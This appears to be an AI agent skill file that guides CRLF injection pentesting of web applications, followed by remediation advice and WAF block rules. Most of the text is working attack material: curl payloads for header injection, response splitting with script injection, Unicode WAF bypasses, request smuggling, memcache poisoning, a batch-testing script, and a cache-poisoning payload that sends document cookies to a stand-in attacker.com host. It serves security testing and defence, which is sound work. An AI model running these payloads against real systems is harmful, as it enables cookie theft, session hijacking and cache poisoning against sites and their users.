CRLF Injection Pentesting Skill
This skill guides you through testing for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. CRLF injection occurs when user-supplied input containing CR (%0D or \r) and LF (%0A or \n) characters is reflected in HTTP headers without proper sanitization.
When to Use This Skill
Use this skill when:
- Testing web applications for HTTP header injection vulnerabilities
- Investigating potential response splitting attacks
- Assessing XSS vectors through header manipulation
- Testing for cache poisoning or request smuggling via CRLF
- Analyzing applications that reflect user input in headers (redirects, custom headers, cookies)
- Bypassing WAFs using Unicode newline variants
- Reviewing code that sets HTTP headers from user input
Understanding CRLF Injection
What is CRLF?
- CR (Carriage Return):
%0Dor\r- moves cursor to beginning of line - LF (Line Feed):
%0Aor\n- moves cursor to next line - CRLF:
%0D%0Aor\r\n- standard HTTP line terminator
HTTP uses CRLF to separate headers from the body. When attackers inject CRLF into headers, they can:
- Terminate the current header early
- Inject new headers
- Inject response body content
- Split responses entirely
Attack Vectors
| Vector | Impact | Example |
|---|---|---|
| Response Splitting | XSS, Cache Poisoning | Inject headers + body |
| Header Injection | Cookie planting, CORS bypass | Add Set-Cookie, Access-Control-Allow-Origin |
| Open Redirect | Phishing | Inject Location: header |
| Request Smuggling | Bypass WAF, SSRF | Inject second HTTP request |
| Log Poisoning | Cover tracks | Fake log entries |
| Memcache Poisoning | Session hijacking | Inject memcache commands |
Testing Methodology
Step 1: Identify Reflection Points
Find where user input appears in HTTP responses:
# Check for reflected parameters in headers
curl -v "http://target.com/page?user_input=test" 2>&1 | grep -i "user_input\|test"
# Look for redirect parameters
curl -v "http://target.com/redirect?url=http://example.com" 2>&1 | grep -i "location"
# Check custom headers
curl -v "http://target.com/api?callback=test" 2>&1 | grep -i "x-\|custom"
Common vulnerable parameters:
redirect,return_url,next,goto,url,destcallback,origin,refereruser_agent,host,x-forwarded-*cookie,session,tokenpage,action,module,view
Step 2: Basic CRLF Testing
Test if CRLF characters are reflected:
# Basic CRLF test
curl -v "http://target.com/page?input=test%0D%0AHeader-Test:injected"
# Check response headers for injection
curl -s "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"
# Test with URL-encoded CRLF
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"
What to look for:
- New headers appearing in response
- Response body starting earlier than expected
- Multiple
Location:headers - Unexpected cookies being set
Step 3: Response Splitting Tests
Test for HTTP response splitting:
# Inject new header
curl -v "http://target.com/page?input=test%0D%0AX-Injected:malicious"
# Inject cookie
curl -v "http://target.com/page?input=test%0D%0ASet-Cookie:admin=true"
# Full response split with XSS
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
Step 4: Advanced Payloads
Use the payload generator script for comprehensive testing:
# Generate all CRLF payloads
python scripts/generate_crlf_payloads.py > crlf_payloads.txt
# Test specific payload
curl -v "http://target.com/page?input=$(cat crlf_payloads.txt | head -1)"
Step 5: WAF Bypass Techniques
If basic CRLF is filtered, try Unicode variants:
# Unicode line separators (often not filtered)
curl -v "http://target.com/page?input=test%E2%80%A8Header-Test:injected" # U+2028 LINE SEPARATOR
curl -v "http://target.com/page?input=test%E2%80%A9Header-Test:injected" # U+2029 PARAGRAPH SEPARATOR
curl -v "http://target.com/page?input=test%C2%85Header-Test:injected" # U+0085 NEXT LINE
# Double encoding
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"
# Mixed case
curl -v "http://target.com/page?input=test%0d%0aHeader-Test:injected"
# Alternative encoding
curl -v "http://target.com/page?input=test%E5%98%8A%E5%98%8DHeader-Test:injected"
Step 6: Verify Vulnerability
Confirm the injection worked:
# Check for injected cookie
http --headers "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"
# Check for new header
http --headers "http://target.com/page?input=test%0D%0AX-Injected:malicious" | grep -i "x-injected"
# Check response body manipulation
http "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<Injected>" | grep -i "<Injected>"
Common Attack Scenarios
1. XSS via Response Splitting
# Basic XSS payload
curl -v "http://target.com/page?input=test%0D%0AContent-Length:35%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert(document.domain)</script>"
# With Content-Encoding bypass
curl -v "http://target.com/page?input=test%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A<script>alert(1)</script>"
2. Open Redirect + CRLF
# Inject Location header
curl -v "http://target.com/redirect?url=http://evil.com%0D%0ASet-Cookie:admin=true"
# Chained with path traversal
curl -v "http://target.com/redirect?url=//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2"
3. Cache Poisoning
# Poison cache with malicious response
curl -v "http://target.com/page?input=test%0D%0ACache-Control:private%0D%0A%0D%0A<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
4. Request Smuggling
# Inject second request
curl -v "http://target.com/page?input=test%0D%0AConnection:keep-alive%0D%0A%0D%0AGET /admin HTTP/1.1%0D%0AHost:target.com%0D%0A%0D%0A"
5. Memcache Poisoning
# Inject memcache commands (if backend uses memcache)
curl -v "http://target.com/page?input=test%0D%0Aflush_all%0D%0Aset session:admin 0 0 100%0D%0Aadmin_data"
Payload Reference
Basic CRLF Payloads
| Purpose | Payload |
|---|---|
| Header injection | %0D%0AHeader-Name:value |
| Cookie injection | %0D%0ASet-Cookie:admin=true |
| Response split | %0D%0A%0D%0A |
| XSS via split | %0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script> |
| Open redirect | %0D%0ALocation:http://evil.com |
Unicode Bypass Payloads
| Character | Unicode | URL Encoded | Purpose |
|---|---|---|---|
| LINE SEPARATOR | U+2028 | %E2%80%A8 |
Bypass WAF |
| PARAGRAPH SEPARATOR | U+2029 | %E2%80%A9 |
Bypass WAF |
| NEXT LINE | U+0085 | %C2%85 |
Bypass WAF |
| LF (alt) | U+560A | %E5%98%8A |
Double encoding |
| CR (alt) | U+560D | %E5%98%8D |
Double encoding |
Filter Bypass Combinations
# Unicode + CRLF
%E2%80%A8%E2%80%A9Set-Cookie:test
# Double encoding
%250D%250ASet-Cookie:test
# Mixed encoding
%E5%98%8A%E5%98%8DSet-Cookie:test
# With Content-Encoding bypass
%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A
Automated Testing
Using curl for batch testing
#!/bin/bash
# Test multiple endpoints for CRLF
ENDPOINTS=(
"http://target.com/page?input="
"http://target.com/redirect?url="
"http://target.com/api?callback="
)
PAYLOADS=(
"%0D%0ASet-Cookie:injected=true"
"%0D%0AX-Injected:malicious"
"%0D%0A%0D%0A<script>alert(1)</script>"
"%E2%80%A8Set-Cookie:injected=true"
)
for endpoint in "${ENDPOINTS[@]}"; do
for payload in "${PAYLOADS[@]}"; do
echo "Testing: $endpoint$payload"
curl -s -I "$endpoint$payload" | grep -i "injected\|malicious" && echo "[VULNERABLE]"
done
done
Using the payload generator
# Generate comprehensive payload list
python scripts/generate_crlf_payloads.py --all > payloads.txt
# Test with httpie
while read payload; do
http --headers "http://target.com/page?input=$payload" | grep -i "injected" && echo "Found: $payload"
done < payloads.txt
Verification Checklist
After detecting potential CRLF injection:
- Confirm new headers appear in response
- Verify cookies can be injected
- Test if response body can be manipulated
- Check if XSS payload executes in browser
- Verify cache poisoning works (test from different IPs)
- Test request smuggling if applicable
- Document all working payloads
- Assess impact (XSS, SSRF, session hijacking, etc.)
Remediation Guidance
For Developers
Never reflect user input in headers
# BAD response.headers['X-Custom'] = user_input # GOOD response.headers['X-Custom'] = 'static-value'Validate and sanitize input
# Python example import re def sanitize_header_value(value): # Remove CR, LF, and Unicode variants return re.sub(r'[\r\n\x00\u2028\u2029\u0085]', '', value)Use framework protections
- Django:
HttpResponseautomatically sanitizes headers - Express: Use
helmetmiddleware - Spring: Use
HttpServletResponsewith validation
- Django:
Implement allowlists
ALLOWED_REDIRECTS = ['https://trusted.com', 'https://trusted.org'] def safe_redirect(url): if url in ALLOWED_REDIRECTS: return redirect(url) return redirect('/')Update dependencies
- RestSharp: ≥110.2.0 (CVE-2024-45302)
- Refit: >7.2.101 (CVE-2024-51501)
- Apache APISIX Dashboard: patched version
For Security Teams
WAF Rules
# Block CRLF in request if ($request ~* "%(0d|0a|13|0a)") { return 403; } # Block Unicode variants if ($request ~* "%(e2%80%a[89]|c2%85)") { return 403; }Monitoring
- Alert on CRLF patterns in logs
- Monitor for unusual header patterns
- Track response splitting attempts
Testing
- Include CRLF tests in CI/CD pipeline
- Regular penetration testing
- Bug bounty program with CRLF scope
Tools
| Tool | Purpose | Link |
|---|---|---|
| CRLFsuite | Active scanner | https://github.com/Raghavd3v/CRLFsuite |
| crlfuzz | Wordlist fuzzer | https://github.com/dwisiswant0/crlfuzz |
| crlfix | Go request patcher | https://github.com/glebarez/crlfix |
| Auto_Wordlists | CRLF wordlist | https://github.com/carlospolop/Auto_Wordlists |
References
- Invicti CRLF Guide
- Acunetix CRLF Injection
- PortSwigger Response Queue Poisoning
- Praetorian Unicode Bypass
- CVE-2024-45302 (RestSharp)
Quick Start
# 1. Generate payloads
python scripts/generate_crlf_payloads.py > payloads.txt
# 2. Test target
curl -v "http://target.com/page?input=$(head -1 payloads.txt)"
# 3. Check for injection
curl -s -I "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i injected
# 4. If vulnerable, test impact
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
Notes
- CRLF injection is most dangerous when combined with other vulnerabilities (XSS, SSRF, cache poisoning)
- Modern frameworks often have built-in protections, but custom code is frequently vulnerable
- Unicode bypasses are increasingly important as WAFs improve
- Always test from multiple angles (URL parameters, headers, cookies, POST data)
- Document findings with proof-of-concept for remediation